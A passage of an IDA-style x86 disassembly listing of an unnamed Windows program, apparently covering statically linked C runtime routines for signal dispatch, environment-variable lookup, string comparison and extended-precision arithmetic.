		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42255C:				; CODE XREF: sub_4222D2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_422538
sub_4222D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422565	proc near		; CODE XREF: sub_41F13C+229Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4225CC
		dec	eax
		dec	eax
		jz	short loc_4225BD
		sub	eax, 4
		jz	short loc_4225BD
		sub	eax, 3
		jz	short loc_4225BD
		sub	eax, 4
		jz	short loc_4225B0
		sub	eax, 6
		jz	short loc_4225A3
		dec	eax
		jz	short loc_422596
		or	eax, 0FFFFFFFFh
		jmp	loc_42268E
; ---------------------------------------------------------------------------


loc_422596:				; CODE XREF: sub_422565+27j
		mov	esi, dword_4DD07C
		mov	eax, offset dword_4DD07C
		jmp	short loc_4225D7
; ---------------------------------------------------------------------------


loc_4225A3:				; CODE XREF: sub_422565+24j
		mov	esi, dword_4DD078
		mov	eax, offset dword_4DD078
		jmp	short loc_4225D7
; ---------------------------------------------------------------------------


loc_4225B0:				; CODE XREF: sub_422565+1Fj
		mov	esi, dword_4DD080
		mov	eax, offset dword_4DD080
		jmp	short loc_4225D7
; ---------------------------------------------------------------------------


loc_4225BD:				; CODE XREF: sub_422565+10j
					; sub_422565+15j ...
		push	edi
		call	sub_422692
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4225D7
; ---------------------------------------------------------------------------


loc_4225CC:				; CODE XREF: sub_422565+Cj
		mov	esi, dword_4DD074
		mov	eax, offset dword_4DD074


loc_4225D7:				; CODE XREF: sub_422565+3Cj
					; sub_422565+49j ...
		cmp	esi, 1
		jnz	short loc_4225E3
		xor	eax, eax
		jmp	loc_42268E
; ---------------------------------------------------------------------------


loc_4225E3:				; CODE XREF: sub_422565+75j
		test	esi, esi
		jnz	short loc_4225EE
		push	3
		call	sub_418522


loc_4225EE:				; CODE XREF: sub_422565+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_422600
		cmp	edi, 0Bh
		jz	short loc_422600
		cmp	edi, 4
		jnz	short loc_422626


loc_422600:				; CODE XREF: sub_422565+8Fj
					; sub_422565+94j
		mov	ebx, dword_4DCE54
		and	dword_4DCE54, 0
		cmp	edi, ecx
		jnz	short loc_422655
		mov	edx, dword_43FB5C
		mov	dword_43FB5C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_422629
; ---------------------------------------------------------------------------


loc_422626:				; CODE XREF: sub_422565+99j
		mov	ebx, [ebp+arg_0]


loc_422629:				; CODE XREF: sub_422565+BFj
		cmp	edi, ecx
		jnz	short loc_422655
		mov	eax, dword_43FB50
		mov	ecx, dword_43FB54
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_42265C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43FAE0h[edx*4]


loc_42264A:				; CODE XREF: sub_422565+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_42264A
		jmp	short loc_42265C
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422565+AAj
					; sub_422565+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_42266A


loc_42265C:				; CODE XREF: sub_422565+D7j
					; sub_422565+EEj
		push	dword_43FB5C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_422678
; ---------------------------------------------------------------------------


loc_42266A:				; CODE XREF: sub_422565+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_422678
		cmp	edi, 4
		jnz	short loc_42268B


loc_422678:				; CODE XREF: sub_422565+103j
					; sub_422565+10Cj
		cmp	edi, 8
		mov	dword_4DCE54, ebx
		jnz	short loc_42268B
		mov	eax, [ebp+arg_0]
		mov	dword_43FB5C, eax


loc_42268B:				; CODE XREF: sub_422565+111j
					; sub_422565+11Cj
		xor	eax, eax
		pop	ebx


loc_42268E:				; CODE XREF: sub_422565+2Cj
					; sub_422565+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_422565	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_422692	proc near		; CODE XREF: sub_422565+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43FB58
		cmp	dword_43FADC, edx
		push	esi
		mov	eax, offset dword_43FAD8
		jz	short loc_4226C0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43FAD8h[esi*4]


loc_4226B4:				; CODE XREF: sub_422692+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_4226C0
		cmp	[eax+4], edx
		jnz	short loc_4226B4


loc_4226C0:				; CODE XREF: sub_422692+16j
					; sub_422692+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43FAD8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_4226D4
		cmp	[eax+4], edx
		jz	short locret_4226D6


loc_4226D4:				; CODE XREF: sub_422692+3Bj
		xor	eax, eax

locret_4226D6:				; CODE XREF: sub_422692+40j
		retn
sub_422692	endp


; =============== S U B	R O U T	I N E =======================================



sub_4226D7	proc near		; CODE XREF: sub_4213FC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DE410, 0
		push	ebx
		push	esi
		mov	esi, dword_4DCD9C
		push	edi
		jz	short loc_42274E
		test	esi, esi
		jnz	short loc_422708
		cmp	dword_4DCDA4, esi
		jz	short loc_42274E
		call	sub_422AA5
		test	eax, eax
		jnz	short loc_42274E
		mov	esi, dword_4DCD9C
		test	esi, esi
		jz	short loc_42274E


loc_422708:				; CODE XREF: sub_4226D7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_42274E
		push	ebx
		call	sub_417D40
		pop	ecx
		mov	edi, eax


loc_422719:				; CODE XREF: sub_4226D7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42274E
		push	eax
		call	sub_417D40
		cmp	eax, edi
		pop	ecx
		jbe	short loc_422741
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_422741
		push	edi
		push	ebx
		push	eax
		call	sub_422A66
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422746


loc_422741:				; CODE XREF: sub_4226D7+51j
					; sub_4226D7+59j
		add	esi, 4
		jmp	short loc_422719
; ---------------------------------------------------------------------------


loc_422746:				; CODE XREF: sub_4226D7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_422750
; ---------------------------------------------------------------------------


loc_42274E:				; CODE XREF: sub_4226D7+10j
					; sub_4226D7+1Cj ...
		xor	eax, eax


loc_422750:				; CODE XREF: sub_4226D7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4226D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_422754	proc near		; CODE XREF: sub_421B1A+8Bp
					; sub_421B1A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD1A0
		jnb	short loc_4227BB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD0A0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_4227BB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_422794
		and	cl, 7Fh
		jmp	short loc_4227A1
; ---------------------------------------------------------------------------


loc_422794:				; CODE XREF: sub_422754+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_4227AF
		or	cl, 80h


loc_4227A1:				; CODE XREF: sub_422754+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4227AF:				; CODE XREF: sub_422754+48j
		mov	dword_4DCD74, 16h
		jmp	short loc_4227C5
; ---------------------------------------------------------------------------


loc_4227BB:				; CODE XREF: sub_422754+Bj
					; sub_422754+27j
		mov	dword_4DCD74, 9


loc_4227C5:				; CODE XREF: sub_422754+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_422754	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227CA	proc near		; CODE XREF: sub_4222D2+165p
					; sub_4229EA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_4229CA
		cmp	cx, 7FFFh
		jnb	loc_4229CA
		cmp	dx, 0BFFDh
		ja	loc_4229CA
		cmp	dx, 3FBFh
		ja	short loc_422833
		xor	eax, eax
		jmp	short loc_42286D
; ---------------------------------------------------------------------------


loc_422833:				; CODE XREF: sub_4227CA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_422855
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_422855
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_422857
		cmp	[esi], eax
		jnz	short loc_422857
		jmp	loc_4229C4
; ---------------------------------------------------------------------------


loc_422855:				; CODE XREF: sub_4227CA+71j
					; sub_4227CA+79j
		xor	eax, eax


loc_422857:				; CODE XREF: sub_4227CA+80j
					; sub_4227CA+84j
		cmp	cx, ax
		jnz	short loc_42287A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_42287A
		cmp	[ebx+4], eax
		jnz	short loc_42287A
		cmp	[ebx], eax
		jnz	short loc_42287A


loc_42286D:				; CODE XREF: sub_4227CA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_4229E5
; ---------------------------------------------------------------------------


loc_42287A:				; CODE XREF: sub_4227CA+90j
					; sub_4227CA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_42288A:				; CODE XREF: sub_4227CA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_4228DE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_4228A6:				; CODE XREF: sub_4227CA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_421C60
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4228D1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_4228D1:				; CODE XREF: sub_4227CA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_4228A6


loc_4228DE:				; CODE XREF: sub_4227CA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_42288A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_422921


loc_4228FC:				; CODE XREF: sub_4227CA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_42291A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_421CDF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_4228FC


loc_42291A:				; CODE XREF: sub_4227CA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_42295A


loc_422921:				; CODE XREF: sub_4227CA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_42295A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_42293A:				; CODE XREF: sub_4227CA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_422943
		inc	[ebp+var_14]


loc_422943:				; CODE XREF: sub_4227CA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_421D0D
		dec	ebx
		pop	ecx
		jnz	short loc_42293A
		cmp	[ebp+var_14], 0
		jz	short loc_42295A
		or	byte ptr [ebp+var_24], 1


loc_42295A:				; CODE XREF: sub_4227CA+155j
					; sub_4227CA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_422971
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_4229A6


loc_422971:				; CODE XREF: sub_4227CA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_4229A3
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_42299E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_422998
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_4229A6
; ---------------------------------------------------------------------------


loc_422998:				; CODE XREF: sub_4227CA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_4229A6
; ---------------------------------------------------------------------------


loc_42299E:				; CODE XREF: sub_4227CA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_4229A6
; ---------------------------------------------------------------------------


loc_4229A3:				; CODE XREF: sub_4227CA+1ABj
		inc	[ebp+var_24+2]


loc_4229A6:				; CODE XREF: sub_4227CA+1A5j
					; sub_4227CA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_4229CA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_4229C4:				; CODE XREF: sub_4227CA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_4229E5
; ---------------------------------------------------------------------------


loc_4229CA:				; CODE XREF: sub_4227CA+42j
					; sub_4227CA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_4229E5:				; CODE XREF: sub_4227CA+ABj
					; sub_4227CA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4229EA	proc near		; CODE XREF: sub_421E01+440p
					; sub_4222D2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43FD58
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_422A63
		jge	short loc_422A12
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43FEB8
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_422A12:				; CODE XREF: sub_4229EA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_422A1D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_422A1D:				; CODE XREF: sub_4229EA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_422A63
		push	esi
		push	edi


loc_422A24:				; CODE XREF: sub_4229EA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_422A5C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_422A4F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_422A4F:				; CODE XREF: sub_4229EA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_4227CA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_422A5C:				; CODE XREF: sub_4229EA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_422A24
		pop	edi
		pop	esi


loc_422A63:				; CODE XREF: sub_4229EA+14j
					; sub_4229EA+36j
		pop	ebx
		leave
		retn
sub_4229EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422A66	proc near		; CODE XREF: sub_4226D7+5Ep
					; sub_422F17+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_422A73
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422A73:				; CODE XREF: sub_422A66+7j
		push	dword_4DE1C4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DE3E4
		call	sub_422B13
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422AA0
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422AA0:				; CODE XREF: sub_422A66+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_422A66	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AA5	proc near		; CODE XREF: sub_4226D7+1Ep
					; sub_422D90+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DCDA4
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_422B06
		mov	ebx, dword_424164


loc_422ABE:				; CODE XREF: sub_422AA5+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_422B0E
		push	ebp
		call	sub_418235
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_422B0E
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_422B0E
		push	edi
		push	[esp+18h+var_4]
		call	sub_422D90
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_422ABE


loc_422B06:				; CODE XREF: sub_422AA5+11j
		xor	eax, eax


loc_422B08:				; CODE XREF: sub_422AA5+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_422B0E:				; CODE XREF: sub_422AA5+29j
					; sub_422AA5+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_422B08
sub_422AA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422B13	proc near		; CODE XREF: sub_422A66+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424CE0
		push	offset sub_41FFCC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DD088, ebx
		push	1
		pop	edi
		jnz	short loc_422B86
		push	edi
		mov	eax, offset dword_424930
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_424008	; CompareStringW
		test	eax, eax
		jz	short loc_422B63
		mov	dword_4DD088, edi
		jmp	short loc_422B86
; ---------------------------------------------------------------------------


loc_422B63:				; CODE XREF: sub_422B13+46j
		push	edi
		mov	eax, offset dword_4CDDB0
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_42400C	; CompareStringA
		test	eax, eax
		jz	loc_422D7C
		mov	dword_4DD088, 2


loc_422B86:				; CODE XREF: sub_422B13+31j
					; sub_422B13+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_422B9D
		push	esi
		push	[ebp+arg_8]
		call	sub_41F7DA
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_422B9D:				; CODE XREF: sub_422B13+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_422BB2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_41F7DA
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_422BB2:				; CODE XREF: sub_422B13+8Dj
		mov	eax, dword_4DD088
		cmp	eax, 2
		jnz	short loc_422BD7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42400C	; CompareStringA
		jmp	loc_422D7E
; ---------------------------------------------------------------------------


loc_422BD7:				; CODE XREF: sub_422B13+A7j
		cmp	eax, edi
		jnz	loc_422D7C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_422BEC
		mov	eax, dword_4DCE44
		mov	[ebp+arg_18], eax


loc_422BEC:				; CODE XREF: sub_422B13+CFj
		cmp	esi, ebx
		jz	short loc_422BF9
		cmp	[ebp+arg_14], ebx
		jnz	loc_422C91


loc_422BF9:				; CODE XREF: sub_422B13+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_422C06


loc_422BFE:				; CODE XREF: sub_422B13+13Cj
					; sub_422B13+16Dj
		push	2


loc_422C00:				; CODE XREF: sub_422B13+146j
		pop	eax
		jmp	loc_422D7E
; ---------------------------------------------------------------------------


loc_422C06:				; CODE XREF: sub_422B13+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_422C12


loc_422C0B:				; CODE XREF: sub_422B13+151j
					; sub_422B13+159j ...
		mov	eax, edi
		jmp	loc_422D7E
; ---------------------------------------------------------------------------


loc_422C12:				; CODE XREF: sub_422B13+F6j
		cmp	esi, edi
		jg	short loc_422C57
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_4241B8	; GetCPInfo
		test	eax, eax
		jz	loc_422D7C
		cmp	esi, ebx
		jle	short loc_422C5B
		cmp	[ebp+var_3C], 2
		jb	short loc_422C57
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_422C57


loc_422C3D:				; CODE XREF: sub_422B13+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_422C57
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_422C51
		cmp	cl, dl
		jbe	short loc_422BFE


loc_422C51:				; CODE XREF: sub_422B13+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422C3D


loc_422C57:				; CODE XREF: sub_422B13+101j
					; sub_422B13+120j ...
		push	3
		jmp	short loc_422C00
; ---------------------------------------------------------------------------


loc_422C5B:				; CODE XREF: sub_422B13+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_422C91
		cmp	[ebp+var_3C], 2
		jb	short loc_422C0B
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_422C0B


loc_422C6E:				; CODE XREF: sub_422B13+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_422C0B
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_422C86
		cmp	cl, dl
		jbe	loc_422BFE


loc_422C86:				; CODE XREF: sub_422B13+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422C6E
		jmp	loc_422C0B
; ---------------------------------------------------------------------------


loc_422C91:				; CODE XREF: sub_422B13+E0j
					; sub_422B13+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_424168	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_422D7C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_418880
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CE0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_422CE0:				; CODE XREF: sub_422B13+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_422D7C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_424168
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_422D7C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_422D7C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_418880
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422D4B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_422D4B:				; CODE XREF: sub_422B13+224j
		cmp	edi, ebx
		jz	short loc_422D7C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_424168	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_422D7C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_424008	; CompareStringW
		jmp	short loc_422D7E
; ---------------------------------------------------------------------------


loc_422D7C:				; CODE XREF: sub_422B13+63j
					; sub_422B13+C6j ...
		xor	eax, eax


loc_422D7E:				; CODE XREF: sub_422B13+BFj
					; sub_422B13+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422B13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D90	proc near		; CODE XREF: sub_422AA5+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_422DF4
		push	3Dh
		push	[ebp+arg_0]
		call	sub_422FD6
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_422DF4
		cmp	[ebp+arg_0], esi
		jz	short loc_422DF4
		mov	eax, dword_4DCD9C
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DCDA0
		jnz	short loc_422DDA
		push	eax
		call	sub_422F6F
		pop	ecx
		mov	dword_4DCD9C, eax


loc_422DDA:				; CODE XREF: sub_422D90+3Cj
		cmp	eax, edi
		jnz	short loc_422E32
		cmp	[ebp+arg_4], edi
		jz	short loc_422DFC
		cmp	dword_4DCDA4, edi
		jz	short loc_422DFC
		call	sub_422AA5
		test	eax, eax
		jz	short loc_422E32


loc_422DF4:				; CODE XREF: sub_422D90+Dj
